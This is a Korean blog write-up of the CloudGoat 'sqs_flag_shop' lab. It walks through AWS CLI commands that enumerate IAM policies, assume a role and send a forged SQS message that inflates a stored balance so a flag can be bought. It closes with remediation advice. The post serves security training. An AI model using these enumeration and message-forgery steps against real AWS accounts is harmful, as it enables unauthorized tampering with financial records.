문제 URL 경로
cloudgoat/cloudgoat/scenarios/aws/sqs_flag_shop/README.md at master · RhinoSecurityLabs/cloudgoat
CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat
github.com
문제 설명
SQS_FLAG_Shop문제는 SQS메시지를 조작하여 DB에 있는 MyAsset의 값을 100,000,000 이상으로 만들어 FLAG를 구매할 수 있도록 하는 문제입니다.

생성된 웹페이지 - (http://<EC2 IP>:5000)

문제 풀이
0. 환경 설정
시나리오 환경 구성이 완료되면 1. sqs-user, 2.웹페이지 주소 이렇게 총 2가지 정보가 주어집니다.
#-------------------- 0. 환경 설정 --------------------
cat start.txt
cloudgoat_output_sqsuser_access_key_id = <access_key>
cloudgoat_output_sqsuser_secret_key = <secret_key>
web_site_ip = http://<ec2 ip address>:5000
1. 현재 소유 권한 확인
현재 가지고 있는 권한을 확인해 보면 sqs-user는 모든 리소스를 대상으로 "iam:Get*", "iam:List*" 2개의 권한과
cg-sqs-send-message 역할을 대상으로 "sts:AssumeRole" 을 할 수 있는 권한을 소유하고 있습니다.
cg-sqs-send-message로 역할 전환을 했을 경우 "cg-sqs" 정책을 소유하게 되는데 해당 정책을 확인해 보면
sqs 서비스 대상으로 "sqs:GetQueueUrl", "sqs:SendMessage" 2개의 권한을 가지게 됩니다.
#-------------------- 1. 현재 소유 권한 분석 --------------------
### 계정 리스트 확인 ###
aws iam list-users \
--profile sqs_flag_shop | grep cgidkdmwdu0vlo
"UserName": "cg-sqs-user-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo",
"UserName": "cg-web-sqs-manager-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-web-sqs-manager-cgidkdmwdu0vlo",
### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
--user-name cg-sqs-user-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
"AttachedPolicies": []
}
### <user> 에게 적용된 User 관리 정책 ###
aws iam list-user-policies \
--user-name cg-sqs-user-cgidkdmwdu0vlo \
--profile sqs_flag_shop \
{
"PolicyNames": [
"cg-sqs-scenario-assumed-role"
]
}
### 유저 정책 확인 ###
aws iam get-user-policy \
--policy-name cg-sqs-scenario-assumed-role \
--user-name cg-sqs-user-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
"UserName": "cg-sqs-user-cgidkdmwdu0vlo",
"PolicyName": "cg-sqs-scenario-assumed-role",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:Get*",
"iam:List*"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo"
}
]
}
}
### 역할 확인 ###
aws iam get-role \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
"Role": {
"Path": "/",
"RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
"RoleId": "AROA2YICACBL4GB66HAT2",
"Arn": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo",
"CreateDate": "2025-04-09T01:29:10+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600,
"Tags": [
{
"Key": "Stack",
"Value": "CloudGoat"
},
{
"Key": "Scenario",
"Value": "sqs_flag_shop"
}
],
"RoleLastUsed": {
"LastUsedDate": "2025-04-09T02:39:16+00:00",
"Region": "us-east-1"
}
}
}
### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
"AttachedPolicies": []
}
### 역할 정책 리스트 ###
aws iam list-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
"PolicyNames": [
"cg-sqs"
]
}
### 역할 정책 확인 ###
aws iam get-role-policy \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--policy-name cg-sqs \
--profile sqs_flag_shop
{
"RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
"PolicyName": "cg-sqs",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"sqs:GetQueueUrl",
"sqs:SendMessage"
],
"Effect": "Allow",
"Resource": "arn:aws:sqs:us-east-1:739275444311:cash_charging_queue"
}
]
}
}
2. 역할 전환
주어진 권한을 이용하여 역할전환을 합니다.
#-------------------- 2. 역할 전환 --------------------
### 역할 전환 ###
aws sts assume-role \
--role-arn arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo \
--role-session-name sqs-user \
--profile sqs_flag_shop
### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile sqs_role aws_access_key_id <aws_access_key_id>
aws configure set --profile sqs_role aws_secret_access_key <aws_secret_access_key>
aws configure set --profile sqs_role aws_session_token <aws_session_token>
3. SQS 메시지 경로 확인 및 전송
역할 전환 이후 주어진 권한을 이용하여 queue url을 확인하고
이후 sqs queue url을 이용하여 조작한 message body를 전송하면 됩니다.
#-------------------- 3. SQS 메시지 경로 확인 및 SQS 메시지 전송 --------------------
### SQS GetQueueUrl 확인 ###
aws sqs get-queue-url \
--queue-name cash_charging_queue \
--profile sqs_role
{
"QueueUrl": "https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue"
}
### SQS 메시지 전송 ###
aws sqs send-message \
--queue-url https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue \
--message-body '{"charge_amount": 100000000}' \
--profile sqs_role
{
"MD5OfMessageBody": "a539acfcd12c57a477387a5dbc7fa5a8",
"MessageId": "fcfda745-8e1d-4eaf-9e63-08e130a608fb"
}
SQS Send message를 보내면 아래와 같은 화면이 확인 가능합니다.

조작한 SQS Send message를 보낸 후 웹페이지를 새로고침(F5) 해보면 My Asset이 늘어나있는게 보입니다.
이 자산을 이용하여 Flag를 주문(Order)하면 됩니다.

Flag 구매 이후 영수증(Receipt) 정보 확인에서 Flag 값을 확인하면 이 문제는 끝납니다.

보안 개선 방안
1. 웹페이지 소스코드 주석 제거
- 해당 문제는 결정적으로 웹페이지에 주석처리된 소스 코드가 문제였기 때문에 공격자에 의해 악용될 수 있습니다.
- 따라서 웹페이지에 주석 처리된 소스코드는 전부 제거해야 함
2. sqs-user 인증 강화
- sqs-user 계정이 공격자에 의해 탈취될 경우 동일하게 악용될 가능성이 있기 때문에 권한은 최소화 하고 MFA를 적용하여 탈취를 막아야 함
내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!
caul334@gmail.com
'IT > Cloud' 카테고리의 다른 글
[CloudGoat] iam_privesc_by_rollback 문제풀이 Write-up (0) | 2025.04.08 |
---|---|
[CloudGoat] lambda_privesc 문제풀이 Write-up (0) | 2025.04.03 |
[CloudGoat] iam_privesc_by_key_rotation 문제풀이 Write-up (0) | 2025.04.02 |
[AWS] AWS CLI 커맨드 입력 시 뭘 입력할지 모르겠다면! (aws cli 명령어 레퍼런스) (0) | 2025.04.02 |
[CloudGoat] cloudgoat.py create 명령어 Terraform 에러 (0) | 2025.02.14 |